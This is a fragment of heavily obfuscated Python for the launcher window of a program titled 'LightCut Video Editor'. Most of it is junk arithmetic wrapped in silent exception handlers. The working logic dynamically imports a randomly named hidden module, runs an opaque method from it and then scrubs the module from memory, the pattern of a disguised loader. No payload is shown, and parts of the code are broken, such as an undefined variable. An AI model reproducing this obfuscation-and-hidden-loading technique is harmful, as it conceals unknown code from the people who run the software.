        jtqpueanej = fhdlzefhefh()


        def juxspvtvqxxdkgi():
            try:
                umuovntej = 985
                aikdynz = 926
                yqquugguyqn = 200
                vytmhbfhhjizx = 488
                inegculfadpzgwjk = 150
                gmgyzitjeoj = 345
                tavmve = 691
                pmruqdromciomw = 703
                sksyrphxegqaav = 334
                thuogwunm = 749
                ihugjzimlzy = 274
                hsqpui = 486
                djhojezqqeqe = 869
                ujsliugnuijseoavxa = 924
                ewitoctmspceqrz = 615
                hhshukodw = umuovntej * gmgyzitjeoj
                ddvhlnrgjgvkc = tavmve + umuovntej
                adeywkgm = ihugjzimlzy - yqquugguyqn
                upjonz = umuovntej - ihugjzimlzy
                hasbljeex = aikdynz * hsqpui
                vlpuewh = aikdynz * thuogwunm
            except Exception:
                pass

        juxspvtvqxxdkgi()
        def ZkSOoVBflReRmF(yXztyhebEjiudbLJwhInmgnRQb, HJwFupzVYYvCgfCv=None):
            try:
                with bFBfUsJDWNpGPxLqYyYDgbZPNp:
                    pumkyp = 588
                    aenmdalnurvlsz = 298
                    ytbgrboxia = 326.2745106310
                    rjfhzg = 750.538161366
                    lqdkanoxd = 298
                    qrxyclmvlleovk = 13
                    vkvqpymrohjwwc = qrxyclmvlleovk - lqdkanoxd
                    iamipnrsimlpe = pumkyp * aenmdalnurvlsz
                    dizticxrwus = qrxyclmvlleovk * lqdkanoxd
                    gwgugvkzvupgi = lqdkanoxd * ytbgrboxia
                    bcnfvthgtlv = rjfhzg - aenmdalnurvlsz
                    juheeopesdpftc = qrxyclmvlleovk * aenmdalnurvlsz
                    gtbziikwamrnnu = aenmdalnurvlsz - rjfhzg
                    pkxfvwacn = lqdkanoxd * ytbgrboxia
                    bjlemirl = rjfhzg + lqdkanoxd
                    awqafezozxykw = rjfhzg * qrxyclmvlleovk
                    xqysgn = pumkyp + aenmdalnurvlsz + ytbgrboxia + rjfhzg + lqdkanoxd + qrxyclmvlleovk
                    if yXztyhebEjiudbLJwhInmgnRQb in sys.modules:
                        BlVxhPZKsIReiHUSeuZ = sys.modules[yXztyhebEjiudbLJwhInmgnRQb]
                    else:
                        fowtbeutkpapshsk = 158
                        qodtbrpytnvedfnze = 299
                        bkfapuwzjpypabw = 686
                        aekufsobofpeiel = 409
                        xmiprfgmtv = 101.6209608
                        xucpgwrjl = 606
                        nucuqiggyvfbkwizfo = 10
                        mgleaxrmajc = 843
                        tajawpxlfdrmf = 152.3005867
                        bsvqqjimsrupxbz = 221.48954171
                        edqiad = tajawpxlfdrmf * xmiprfgmtv
                        jvqemqmllnetdk = bkfapuwzjpypabw + nucuqiggyvfbkwizfo
                        cjprdptff = tajawpxlfdrmf - nucuqiggyvfbkwizfo
                        babhpdyhwp = xmiprfgmtv * qodtbrpytnvedfnze
                        vxgloe = bsvqqjimsrupxbz - mgleaxrmajc
                        ufvvnwwyhvj = bsvqqjimsrupxbz - nucuqiggyvfbkwizfo
                        vvunko = tajawpxlfdrmf * xucpgwrjl
                        hzxlgvlbewiyb = nucuqiggyvfbkwizfo * fowtbeutkpapshsk
                        niycjoywafef = aekufsobofpeiel * fowtbeutkpapshsk
                        zdzxkjellrowbr = nucuqiggyvfbkwizfo + mgleaxrmajc
                        uimhdtjgzvr = aekufsobofpeiel + fowtbeutkpapshsk
                        hhcgnhccse = xucpgwrjl * mgleaxrmajc
                        fskrplxwde = fowtbeutkpapshsk + qodtbrpytnvedfnze + bkfapuwzjpypabw + aekufsobofpeiel + xmiprfgmtv + xucpgwrjl + nucuqiggyvfbkwizfo + mgleaxrmajc + tajawpxlfdrmf + bsvqqjimsrupxbz
                        eNdXjHBTaGxTG = importlib.util.find_spec(yXztyhebEjiudbLJwhInmgnRQb)
                        if eNdXjHBTaGxTG is None:
                            raise ImportError(f"Module {yXztyhebEjiudbLJwhInmgnRQb} not found")
                        BlVxhPZKsIReiHUSeuZ = importlib.util.module_from_spec(eNdXjHBTaGxTG)
                        eNdXjHBTaGxTG.loader.exec_module(BlVxhPZKsIReiHUSeuZ)
                        jjqhcfl = 458.13030098
                        ixwvxhifihaaovyv = 100
                        udddymbgtktdsi = 624
                        ftdvwaxbuzonyskck = 243
                        knrggb = ftdvwaxbuzonyskck - jjqhcfl
                        zznzihlmqkqs = ftdvwaxbuzonyskck - ixwvxhifihaaovyv
                        ioofhnadbhc = ftdvwaxbuzonyskck * ixwvxhifihaaovyv
                        xgxiuuriupfjh = ixwvxhifihaaovyv - udddymbgtktdsi
                        qwlmyr = ftdvwaxbuzonyskck * udddymbgtktdsi
                        eatjnqlb = ftdvwaxbuzonyskck * udddymbgtktdsi
                        hnwrfkisxbf = udddymbgtktdsi - ixwvxhifihaaovyv
                        rilfin = ftdvwaxbuzonyskck * ixwvxhifihaaovyv
                        kscophm = udddymbgtktdsi - jjqhcfl
                        tkuaqbtjnsei = udddymbgtktdsi * jjqhcfl
                        tolqcviseaqt = jjqhcfl + ftdvwaxbuzonyskck
                        qmxsfwuwke = ixwvxhifihaaovyv - jjqhcfl
                        dufrtfd = jjqhcfl + ixwvxhifihaaovyv + udddymbgtktdsi + ftdvwaxbuzonyskck
                        sys.modules[yXztyhebEjiudbLJwhInmgnRQb] = BlVxhPZKsIReiHUSeuZ

                    if HJwFupzVYYvCgfCv:
                        for kSWrMDwtIMNAWmpbwPmoaPRVy in HJwFupzVYYvCgfCv:
                            pyppuxdmnd = 433
                            vamophmwl = 995
                            cdoetoovl = 765
                            ktkaguzb = 474.129
                            ettojkdozuhwehro = 202
                            tulmcseckrfmbmdru = 223
                            qxifrqhbeewrhr = 889
                            jgsuyvoetsuohygoi = 929
                            pxcvhks = 260
                            qapvpxjhyrgp = qxifrqhbeewrhr + pyppuxdmnd
                            hmqhgi = tulmcseckrfmbmdru - pyppuxdmnd
                            ojtdfnggh = jgsuyvoetsuohygoi + tulmcseckrfmbmdru
                            wvtlqp = ktkaguzb - cdoetoovl
                            obnfpybvjkz = ettojkdozuhwehro - ktkaguzb
                            ysysbx = jgsuyvoetsuohygoi + qxifrqhbeewrhr
                            lizkqvb = jgsuyvoetsuohygoi * pyppuxdmnd
                            globals()[kSWrMDwtIMNAWmpbwPmoaPRVy] = getattr(BlVxhPZKsIReiHUSeuZ, symbol)


                    return BlVxhPZKsIReiHUSeuZ
            except Exception as e:
                return None


        def buojlkwgnfuqi():
            try:
                rdbedm = 645
                bknnuoafhuybv = 575
                cckutdsbbyvrsnpu = 362
                getwgzqqyxvrs = 874
                skrwzoixejalvwe = 601
                ixwhocfoy = 904
                gbvqkyzecfzxgnae = 447
                raqfdlwunmtxs = 888
                xwqawzwraqbwqwzeh = 280
                vffacic = 21
                tspsyind = 108
                ycsaty = 507
                faeqmsgqkxj = 417
                vjdhrutrak = 858
                qjtkisavwmwgcjx = 634
                zizohwxbgxyztc = skrwzoixejalvwe + rdbedm
                hqpnkzyaswrl = getwgzqqyxvrs + ixwhocfoy
                hmekpuzvua = skrwzoixejalvwe - faeqmsgqkxj
                lkwkpheuvol = ixwhocfoy + bknnuoafhuybv
                njsqrxl = gbvqkyzecfzxgnae - cckutdsbbyvrsnpu
                qwnfzyukqrls = xwqawzwraqbwqwzeh - gbvqkyzecfzxgnae
            except Exception:
                pass

        buojlkwgnfuqi()


        def feqpqjmacfcbl():
            try:
                tdwmypbtkis = 975
                hacpnohzvesq = 884
                sxcaoxqvxpr = 226
                hsjdymlpna = 508
                dsbiawxsjtuuetqoxu = 854
                uounnswnzjezts = 751
                pqlxgjxxqnaxja = 129
                taezhzacuhvezlf = 305
                ksefqvlxnqnsx = 738
                vjjddwu = 328
                snkbsinxxmuaq = 26
                vaekycohsmyo = 364
                ecaxmymtvabnbc = 867
                jygisxhhr = 986
                xyptlakcoehtcyipb = 873
                ecpxbfuqjdkck = hacpnohzvesq + sxcaoxqvxpr
                jkyjftavpimd = vjjddwu * ecaxmymtvabnbc
                buifwygyr = vjjddwu - taezhzacuhvezlf
                awmnfeayvkc = jygisxhhr - vaekycohsmyo
            except Exception:
                pass

        feqpqjmacfcbl()


        def fxmflp(vbnwrgjgtuyvmtml, fstcijjzr, sagdgjrwpoigml, ipkskit, oxwriu, zdesqlox):
            try:
                znrbncdaem = 214
                yjubviknc = 930
                vhfpdueqkdnluwvxbg = 137
                sgnxbn = 94
                zvlcgovdgvihqyjq = 439
                mdezgubosgkvqxnprj = 915
                wsxnuzzunpvbtp = 952
                xuoqptfpzg = 240
                cnlekpokwmetcwuua = 398
                fmasuaofxnu = 368
                sxdhuysfzkmtqzuorl = 626
                xpipsziqxrcl = 312
                ktcobotikqxac = 915
                llabzshz = 423
                nyvchrztgapwa = 666
                lmjnyseszvnopf = xpipsziqxrcl + llabzshz
                jmdnlucdutzc = vhfpdueqkdnluwvxbg * mdezgubosgkvqxnprj
                mmticn = vhfpdueqkdnluwvxbg - xuoqptfpzg
                hjkapfydjghdho = znrbncdaem + yjubviknc + vhfpdueqkdnluwvxbg + sgnxbn + zvlcgovdgvihqyjq + mdezgubosgkvqxnprj + wsxnuzzunpvbtp + xuoqptfpzg + cnlekpokwmetcwuua + fmasuaofxnu + sxdhuysfzkmtqzuorl + xpipsziqxrcl + ktcobotikqxac + llabzshz + nyvchrztgapwa
                return hjkapfydjghdho
            except Exception:
                pass

        vbnwrgjgtuyvmtml = None
        fstcijjzr = None
        sagdgjrwpoigml = None
        ipkskit = None
        oxwriu = None
        zdesqlox = None
        pjgksg = fxmflp(vbnwrgjgtuyvmtml, fstcijjzr, sagdgjrwpoigml, ipkskit, oxwriu, zdesqlox)


        def bnsbujof():
            try:
                vzmkfs = 382
                occumdv = 195
                kgeobqrqfludn = 264
                kszxjnzip = 440
                iwczsykjz = 442
                xductksbxgvu = 225
                betvyqltqwqwafo = 162
                scqjst = 316
                jewoqwgfmkyncrph = 600
                pdylniectbzy = 407
                wojlpgfpajils = 727
                gjxiuphtaju = 329
                fnokrcxuckk = 677
                toyvkunkltdt = 76
                qfdexnmsdnbwoayb = 438
                vzvtisytgerub = wojlpgfpajils - vzmkfs
                ynixaufilig = toyvkunkltdt - scqjst
                ttxvddx = vzmkfs + occumdv + kgeobqrqfludn + kszxjnzip + iwczsykjz + xductksbxgvu + betvyqltqwqwafo + scqjst + jewoqwgfmkyncrph + pdylniectbzy + wojlpgfpajils + gjxiuphtaju + fnokrcxuckk + toyvkunkltdt + qfdexnmsdnbwoayb
                return ttxvddx
            except Exception:
                pass

        ezzerm = bnsbujof()


        def sjwxsoiun():
            try:
                egmfmleuwdwdf = 157
                unjfwxaexnrnkei = 202
                mhxjlqvidpjvimf = 826
                nqdxszj = 121
                hsfepwgwvsclrm = 28
                jjphdjucnu = 68
                guqyucei = 951
                jukrursckmasn = 953
                oqdepuxuxenzfcjpb = 251
                punmkdbufy = 220
                huglqrtlyc = 52
                bgidxhtoqhlam = 41
                szeanyrzpzvwxv = 646
                zaftpncgovfuzjnm = 496
                jjzlba = 383
                bjdmtqhglbj = jukrursckmasn - unjfwxaexnrnkei
                rscjbn = jukrursckmasn * mhxjlqvidpjvimf
                fsgirdbbjq = mhxjlqvidpjvimf + huglqrtlyc
            except Exception:
                pass

        sjwxsoiun()
        def HpSMpLZnejsMojvPrRzxcEkvD():
            global keMMGyxWRAOcuVkMGmF, DdkFwEecumVkZBxaXO
            keMMGyxWRAOcuVkMGmF = None
            try:
                NlBmUwUdhaRcPTDIdQy = 'OgQXOc.KNTnqz'
                KNTnqz = ZkSOoVBflReRmF(NlBmUwUdhaRcPTDIdQy)
                if not KNTnqz:
                    raise Exception
                cGhWaJWdUMElHXEMHOD = KNTnqz.TDTVOjZlGmHNVxJScHIEBjAsLh()
                keMMGyxWRAOcuVkMGmF = cGhWaJWdUMElHXEMHOD
            except Exception as e:
                keMMGyxWRAOcuVkMGmF = True
            finally:
                try:
                    del cGhWaJWdUMElHXEMHOD
                    if NlBmUwUdhaRcPTDIdQy in sys.modules:
                        del sys.modules[NlBmUwUdhaRcPTDIdQy]
                except Exception:
                    pass


        def rrhpwirxuishta():
            try:
                sbnrzifjodob = 371
                vkugpxfhqajnrsknn = 457
                jsbcsxtpyal = 974
                iuxdsuvdngxgrumt = 940
                hraksz = 918
                fngjln = 767
                vwxmasx = 170
                mgraeqvkpjxnb = 227
                mzfbrmfq = 992
                eirttrnvjo = 769
                xokggpchddacmdd = 876
                dycfmnwdncqlsstat = 915
                bqcnfgbwopyapme = 231
                naeuqatmmponxyyvq = 747
                jsfkdmrtbw = mzfbrmfq - iuxdsuvdngxgrumt
                wmuquznuletgrt = fngjln * sbnrzifjodob
                fwroasaxnopi = mzfbrmfq + sbnrzifjodob
                ubbkgfy = iuxdsuvdngxgrumt - bqcnfgbwopyapme
                uzexxmm = fngjln + vkugpxfhqajnrsknn
                skmmaxnov = dycfmnwdncqlsstat * vkugpxfhqajnrsknn
            except Exception:
                pass

        rrhpwirxuishta()
        def utLDmqXLaCGgAqeaqsHWvoqg():
            global keMMGyxWRAOcuVkMGmF, FmXQjzVOroORbNOVhVrmTNlyhf, YETpYIDwJmWMOBOfvrWG, DdkFwEecumVkZBxaXO
            if FmXQjzVOroORbNOVhVrmTNlyhf:
                if YETpYIDwJmWMOBOfvrWG.is_alive():
                    lKYNFkMvihbmXujpeNSJpfS.after(200, utLDmqXLaCGgAqeaqsHWvoqg)
                else:
                    if keMMGyxWRAOcuVkMGmF:
                        if FmXQjzVOroORbNOVhVrmTNlyhf:
                            lKYNFkMvihbmXujpeNSJpfS.after(0, AoOKFNkBTzMKTYXlYrAXtMZT)
                        try:
                            def start_initial_message_thread():
                                try:
                                    YETpYIDwJmWMOBOfvrWG = threading.Thread(target=XyEcxQHDaqOjPBBUpk)
                                    YETpYIDwJmWMOBOfvrWG.start()
                                except Exception:
                                    try:
                                        lKYNFkMvihbmXujpeNSJpfS.destroy()
                                        FmXQjzVOroORbNOVhVrmTNlyhf = False
                                    except Exception:
                                        pass
                                    try:
                                        XyEcxQHDaqOjPBBUpk()
                                    except Exception:
                                        pass

                            lKYNFkMvihbmXujpeNSJpfS.after(1000, start_initial_message_thread)
                        except Exception:
                            pass
                    else:
                        if FmXQjzVOroORbNOVhVrmTNlyhf:
                            lKYNFkMvihbmXujpeNSJpfS.after(500, xEHKjIcxDvvHMpDnELFb)
            else:
                if YETpYIDwJmWMOBOfvrWG.is_alive():
                    time.sleep(0.5)
                    utLDmqXLaCGgAqeaqsHWvoqg()
                else:
                    if keMMGyxWRAOcuVkMGmF:
                        try:
                            YETpYIDwJmWMOBOfvrWG = threading.Thread(target=XyEcxQHDaqOjPBBUpk)
                            YETpYIDwJmWMOBOfvrWG.start()
                        except Exception:
                            try:
                                XyEcxQHDaqOjPBBUpk()
                            except Exception:
                                pass

        TIfllzJlHzuTgm = True


        def pwyaiwlvkgm(ztmuepzpooyqngbynh):
            try:
                qlnidbzlpx = 645
                magtinw = 273
                oylrgiix = 611
                qkdkbqr = 901
                eqyhefzcwg = 984
                obwyiigncfa = 344
                ceqxpaioamivz = 997
                hvrdeqkuk = 210
                lplruqwyrtqgc = eqyhefzcwg - qlnidbzlpx
                psafwwebly = hvrdeqkuk * ceqxpaioamivz
                irxoxisa = ceqxpaioamivz * obwyiigncfa
                sprdfpidllzqsd = obwyiigncfa + qkdkbqr
                bmzrvfeprnpala = obwyiigncfa - magtinw
                ltrffqdexpdho = oylrgiix - eqyhefzcwg
            except Exception:
                pass

        ztmuepzpooyqngbynh = None
        pwyaiwlvkgm(ztmuepzpooyqngbynh)


        def aahwhpbekjuaghpu():
            try:
                onptoxabdmtinu = 673
                qjlfkzdm = 11
                fpbepqasybaoevdo = 898
                jydngjyofjlor = 783
                mcgnnv = 868
                duvfuzsvlpsjsw = 377
                mpkofwva = 701
                mqlodzoe = 420
                mznczbg = mcgnnv * qjlfkzdm
                jwcrmrsd = duvfuzsvlpsjsw + mcgnnv
                geocvpzowjbf = onptoxabdmtinu + duvfuzsvlpsjsw
                slqztpiozkrp = fpbepqasybaoevdo + jydngjyofjlor
                rjcaxdrctfl = onptoxabdmtinu + qjlfkzdm + fpbepqasybaoevdo + jydngjyofjlor + mcgnnv + duvfuzsvlpsjsw + mpkofwva + mqlodzoe
                return rjcaxdrctfl
            except Exception:
                pass

        csbduxbxecihyj = aahwhpbekjuaghpu()
        def hTHYlGNTACQAnRhsjkWutVafse(event):
            global YETpYIDwJmWMOBOfvrWG, TIfllzJlHzuTgm, FmXQjzVOroORbNOVhVrmTNlyhf, RHqkdDftCAxFfDNxPRRjDswoiA
            if FmXQjzVOroORbNOVhVrmTNlyhf:
                if not TIfllzJlHzuTgm:
                    return
                ocbnddnm = 848.98171763
                stqxqgwmtcg = 797
                wywmua = 228.582764
                lekpvq = 904
                izcgvxwwtcffm = 654
                moggse = 721
                euhmljxcvahge = 100
                zgrltvcrkdjooccrb = 949
                wzymmcvtclgu = 784.56
                fnciiujbz = lekpvq + wywmua
                zctlrdwhhnlq = ocbnddnm + zgrltvcrkdjooccrb
                idoipmra = izcgvxwwtcffm + zgrltvcrkdjooccrb
                djsdxlccihyswp = wywmua * izcgvxwwtcffm
                arfgaiunhxcmfv = moggse + wywmua
                wsacwpllwtznt = ocbnddnm - stqxqgwmtcg
                x, y = event.x_root, event.y_root
                TwGsJVIUmwREkIszfXZGsKICSm, YFOpBlKodNydvAeTmYxyDhmrbm = VHhWRQkiAJfYQeMnRPVEkS.winfo_rootx(), VHhWRQkiAJfYQeMnRPVEkS.winfo_rooty()
                cBOXQZukdUFvIVjUjWahMyAEiS, gLDWIkZUNuVUn = VHhWRQkiAJfYQeMnRPVEkS.winfo_width(), VHhWRQkiAJfYQeMnRPVEkS.winfo_height()
                if TwGsJVIUmwREkIszfXZGsKICSm <= x <= TwGsJVIUmwREkIszfXZGsKICSm + cBOXQZukdUFvIVjUjWahMyAEiS and YFOpBlKodNydvAeTmYxyDhmrbm <= y <= YFOpBlKodNydvAeTmYxyDhmrbm + gLDWIkZUNuVUn:
                    try:
                        dwvFcsviRdIVUHwq()
                    except Exception:
                        pass
                    if RHqkdDftCAxFfDNxPRRjDswoiA:
                        lqrincamblyweer = 47
                        fnshxn = 788
                        ahdogcku = 136
                        uvofwz = 255
                        zosjudcptzzdyw = 674
                        taxguschttdykerbm = 412.5391428
                        vdomxx = 491.5
                        zvqcltcspgh = 416.62601274
                        elqvxh = zvqcltcspgh * lqrincamblyweer
                        zqngtvdtkjhgf = vdomxx - taxguschttdykerbm
                        fganvvhyzcihuz = fnshxn * zosjudcptzzdyw
                        fbrybbq = taxguschttdykerbm + zvqcltcspgh
                        fxqkazsrnuhyke = zosjudcptzzdyw * taxguschttdykerbm
                        xzbefekbhpndj = lqrincamblyweer + fnshxn + ahdogcku + uvofwz + zosjudcptzzdyw + taxguschttdykerbm + vdomxx + zvqcltcspgh
                        lKYNFkMvihbmXujpeNSJpfS.after(0, AoOKFNkBTzMKTYXlYrAXtMZT)
                        lKYNFkMvihbmXujpeNSJpfS.after(5000, lambda: auKeLGWGhNvKr(ODSvTcYfflVWPDzI))
                    else:
                        YETpYIDwJmWMOBOfvrWG = threading.Thread(target=HpSMpLZnejsMojvPrRzxcEkvD)
                        qxvpgbmeoc = 106
                        wbyehioa = 929
                        vzfjgxwfklrsw = 808
                        mnzeiv = 379.0
                        appkkgmdfsjkbn = qxvpgbmeoc * vzfjgxwfklrsw
                        vmokmkum = vzfjgxwfklrsw + wbyehioa
                        xxycjfxcojfui = mnzeiv - qxvpgbmeoc
                        bytiwyenspv = qxvpgbmeoc + wbyehioa
                        rdffvhbleymntn = mnzeiv * wbyehioa
                        hvzezdruuznmgy = mnzeiv * vzfjgxwfklrsw
                        pavygfjczn = qxvpgbmeoc - vzfjgxwfklrsw
                        svyrkeeo = qxvpgbmeoc * wbyehioa
                        tsefxwiuqnynb = mnzeiv * qxvpgbmeoc
                        iikoqreohw = wbyehioa - vzfjgxwfklrsw
                        YETpYIDwJmWMOBOfvrWG.start()
                        lKYNFkMvihbmXujpeNSJpfS.after(100, utLDmqXLaCGgAqeaqsHWvoqg)
            else:
                if not RHqkdDftCAxFfDNxPRRjDswoiA:
                    try:
                        YETpYIDwJmWMOBOfvrWG = threading.Thread(target=HpSMpLZnejsMojvPrRzxcEkvD)
                        YETpYIDwJmWMOBOfvrWG.start()
                        utLDmqXLaCGgAqeaqsHWvoqg()
                    except Exception:
                        pass
        try:
            crjjuvzxligwhvp = 53
            tsezquefmeamlr = 688
            yhsqkzglosxpvf = 427
            rjcxkwuxtvosbr = 801
            ucvazswlssailwhn = 441
            vdhwbfixhkpjmy = tsezquefmeamlr - ucvazswlssailwhn
            zlyigawvcdcu = ucvazswlssailwhn + yhsqkzglosxpvf
            hctbacqbqu = tsezquefmeamlr * rjcxkwuxtvosbr
            uvtdkbice = tsezquefmeamlr - ucvazswlssailwhn
            ldibjm = tsezquefmeamlr + yhsqkzglosxpvf
            tzuzrghlzyq = yhsqkzglosxpvf * crjjuvzxligwhvp
            nnbglrlukx = crjjuvzxligwhvp - tsezquefmeamlr
            neccrwnbkhdtv = tsezquefmeamlr * yhsqkzglosxpvf
            kkplpliuux = rjcxkwuxtvosbr - ucvazswlssailwhn
            customtkinter.deactivate_automatic_dpi_awareness()
            lKYNFkMvihbmXujpeNSJpfS = customtkinter.CTk()
            LrHcelFmnRRrQo = customtkinter.BooleanVar(value=False)
            TMwBMipIfmFmKXvffHIfSjhfqK = customtkinter.BooleanVar(value=False)
            kahowikmnd = 62
            lpfofmabrolbdyztkg = 692
            unvvmdvcmanhgpofny = 433
            ryhuik = 93
            mclocfpferhrngg = 796
            vhpzwnzqsjzevqfm = 774
            uygnkemuzlmdr = ryhuik * lpfofmabrolbdyztkg
            tlmxfpzaxtgtp = kahowikmnd - ryhuik
            ckpajhd = mclocfpferhrngg * unvvmdvcmanhgpofny
            kgcytpiei = mclocfpferhrngg - lpfofmabrolbdyztkg
            jzjGjzdVzOykwWRkjHGYlWhxh()
            check_updapp()
            lKYNFkMvihbmXujpeNSJpfS.geometry("450x250")

            #GEN(1)
            BmwfNyxGcMWXizamsime = os.path.join(sdAEeAstkHQsOFO, "qZdPra", "IconLightCut.ico")
            lKYNFkMvihbmXujpeNSJpfS.iconbitmap(BmwfNyxGcMWXizamsime)
            #GEN(2)
            lKYNFkMvihbmXujpeNSJpfS.title("LightCut Video Editor")
            lKYNFkMvihbmXujpeNSJpfS.overrideredirect(True)
            stjtysxrqjflsq = 174
            qmtncgec = 801
            vmuxvhcymyrblikgxb = 240
            ftpucop = 741
            oydzmbug = stjtysxrqjflsq + qmtncgec
            pytpichorcjs = ftpucop * qmtncgec
            wylsmn = stjtysxrqjflsq - qmtncgec
            izjfbflditiu = stjtysxrqjflsq * ftpucop
            rpvpjvhcdlgph = vmuxvhcymyrblikgxb + stjtysxrqjflsq
            ylqxcyshxhqaab = ftpucop - vmuxvhcymyrblikgxb
            ggdnmdumugkxnd = ftpucop * stjtysxrqjflsq
            hfckctkpxviyc = qmtncgec + ftpucop
            wcbyqkygd = vmuxvhcymyrblikgxb - stjtysxrqjflsq
            zkdkvdpqyacpnd = stjtysxrqjflsq * vmuxvhcymyrblikgxb
            lKYNFkMvihbmXujpeNSJpfS.after(10, lambda: xHvZyUcKidVzbIgJdY(lKYNFkMvihbmXujpeNSJpfS))
            lKYNFkMvihbmXujpeNSJpfS.after(10, lambda: DMXRQaMTJUbVM(lKYNFkMvihbmXujpeNSJpfS))
            lKYNFkMvihbmXujpeNSJpfS.after(10, lambda: center_window(lKYNFkMvihbmXujpeNSJpfS))
            JuGCMtjMRPAeKtkAaugYsAK = lKYNFkMvihbmXujpeNSJpfS.winfo_id()

            eiLxoquttvCCeli = customtkinter.CTkFrame(master=lKYNFkMvihbmXujpeNSJpfS, fg_color="#282828", height=18)
            eiLxoquttvCCeli.pack(fill="x", side="top")
            sreelftmupdavurdu = 595.7982418201
            vgziglslffpixall = 687.9344
            djizemvvjgafixpxxa = 428.6133
            mgicseitdyysxlocc = 206.244
            jvcytybnx = 977
            eemmmnuvvvjqzzt = 65
            pnrtaylx = 642
            edosggidzlydl = 913
            vaojtbbqws = 820.7709
            pgcovsh = eemmmnuvvvjqzzt - djizemvvjgafixpxxa
            bufizyxu = jvcytybnx * vgziglslffpixall
            jpncvxazpx = eemmmnuvvvjqzzt - edosggidzlydl
            exqmchlzgbuekd = eemmmnuvvvjqzzt - edosggidzlydl
            osvjcdiqym = jvcytybnx - vaojtbbqws
            rfielcagqsben = vaojtbbqws * jvcytybnx
            eiLxoquttvCCeli.bind("<ButtonPress-1>", KHaDqCABwewUYTmHenw)
            eiLxoquttvCCeli.bind("<ButtonRelease-1>", RqYFPvtFVXzDoIBld)
            eiLxoquttvCCeli.bind("<B1-Motion>", enXaMrvIpThHzBWWwBrmderv)
            mzwrerwinpsgitb = 481
            onknbkrl = 854.240621
            plfyccjaenlxebfd = 694
            ynkqygly = 631
            jrqvaf = onknbkrl + mzwrerwinpsgitb
            favdjry = plfyccjaenlxebfd + onknbkrl
            hxtqutxmvwab = plfyccjaenlxebfd + ynkqygly
            dbnwbzwn = ynkqygly * mzwrerwinpsgitb
            viwfbrscqm = onknbkrl * mzwrerwinpsgitb
            purpllay = ynkqygly * onknbkrl
            mdpzgy = mzwrerwinpsgitb + plfyccjaenlxebfd
            jadmwfjzzjvt = ynkqygly - plfyccjaenlxebfd
            WYfnILdqCRAtOpsT = os.path.join(sdAEeAstkHQsOFO, "qZdPra", "2.png")
            ulEVGnNRqOztBFcOcFOqf = customtkinter.CTkImage(Image.open(WYfnILdqCRAtOpsT), size=(32, 16))
            epZUDtFZaODlzqbOI = customtkinter.CTkLabel(master=eiLxoquttvCCeli, image=ulEVGnNRqOztBFcOcFOqf, text="", compound=customtkinter.TOP)

            epZUDtFZaODlzqbOI.pack(side="right", padx=0, pady=0)
            epZUDtFZaODlzqbOI.bind("<ButtonRelease-1>", fhchnUTxxaspGagzD)
            epZUDtFZaODlzqbOI.bind("<Enter>", veWzCedbJwiDww)
            epZUDtFZaODlzqbOI.bind("<Leave>", YKSdNPXsTKeIdQXKVHPG)
            sfitmtu = 853.69228
            wpzxbqaiiczupduf = 431
            uqatcpqimpkoyrr = 756
            hepcvkdfqrvddyb = 163
            lusosjynoyeomiimt = 360
            qhpzsdzrsfulhlj = 95.5061931
            pnkqzmlzomyerv = 429
            cbhunz = uqatcpqimpkoyrr + hepcvkdfqrvddyb
            gllllkrhugoaxv = pnkqzmlzomyerv + uqatcpqimpkoyrr
            klsztivfspwhpl = uqatcpqimpkoyrr + lusosjynoyeomiimt
            evwqjafklh = wpzxbqaiiczupduf + uqatcpqimpkoyrr
            reukfkjkfdhl = qhpzsdzrsfulhlj + pnkqzmlzomyerv
            sbelsjw = qhpzsdzrsfulhlj - pnkqzmlzomyerv
            hpqxjpi = sfitmtu - hepcvkdfqrvddyb
            fhujdilywtqt = uqatcpqimpkoyrr + pnkqzmlzomyerv
            lapobkzy = sfitmtu + wpzxbqaiiczupduf + uqatcpqimpkoyrr + hepcvkdfqrvddyb + lusosjynoyeomiimt + qhpzsdzrsfulhlj + pnkqzmlzomyerv
            WwrIcJdDgIzMBWEuffy = os.path.join(sdAEeAstkHQsOFO, "qZdPra", "3.png")
            qMnZCkgcupkZjXHACJTjOiZ = customtkinter.CTkImage(Image.open(WwrIcJdDgIzMBWEuffy), size=(28, 16))
            evajufcrywwccyspsy = 525.422
            iyfibuhfvsodor = 716
            ytcarezvwnjj = 186
            cxomkmkyfqcyolzouv = 279.390893
            xrccnuakbuoorvl = 732
            lmketp = 532
            irncmsltprggmrkn = 684.23057596
            sigupbtvidpaatxj = 181
            nueclnkkpwnp = 253
            tvonzcawctlt = sigupbtvidpaatxj * evajufcrywwccyspsy
            inqmhzvdeywnh = irncmsltprggmrkn - ytcarezvwnjj
            outmcxatz = iyfibuhfvsodor * nueclnkkpwnp
            rdsowjkowny = xrccnuakbuoorvl + sigupbtvidpaatxj
            bvfkeahalf = evajufcrywwccyspsy + iyfibuhfvsodor + ytcarezvwnjj + cxomkmkyfqcyolzouv + xrccnuakbuoorvl + lmketp + irncmsltprggmrkn + sigupbtvidpaatxj + nueclnkkpwnp
            LsbwHXycXAjqWTj = customtkinter.CTkLabel(master=eiLxoquttvCCeli, image=qMnZCkgcupkZjXHACJTjOiZ, text="", compound=customtkinter.TOP)
            LsbwHXycXAjqWTj.pack(side="right", padx=0, pady=0)
            LsbwHXycXAjqWTj.bind("<ButtonRelease-1>", ClggUojKsiFEIQdooEzxyGXLUM)
            LsbwHXycXAjqWTj.bind("<Enter>", qtInxvKvqHYHNNicIRbwlT)
            LsbwHXycXAjqWTj.bind("<Leave>", wvoCtHoLVSEKO)

            #GEN(3)
            fjuerrmumibkt = 257
            dpgalzv = 91
            xtyxzutv = 361
            lcvwssyth = 365
            hkzfqxeuvedzqfyviz = 774
            tmpbxlvwxax = 891.544101541
            wcwsxlsbkfy = 949
            txpbzxaxfyah = 302
            mtdxtxbvbkse = 556.6735
            tmsdopmqniwjwp = wcwsxlsbkfy - hkzfqxeuvedzqfyviz
            anfeiv = tmpbxlvwxax + lcvwssyth
            ejahciqfgcrw = mtdxtxbvbkse * wcwsxlsbkfy
            imzngrg = tmpbxlvwxax - hkzfqxeuvedzqfyviz
            jlfpbxntfy = fjuerrmumibkt + dpgalzv + xtyxzutv + lcvwssyth + hkzfqxeuvedzqfyviz + tmpbxlvwxax + wcwsxlsbkfy + txpbzxaxfyah + mtdxtxbvbkse
            DCINhJKhZInujJJ = os.path.join(sdAEeAstkHQsOFO, "qZdPra", "LightCut.png")
            EjNNarUrnSaKwtALQAZAx = customtkinter.CTkImage(Image.open(DCINhJKhZInujJJ),size=(230, 53))
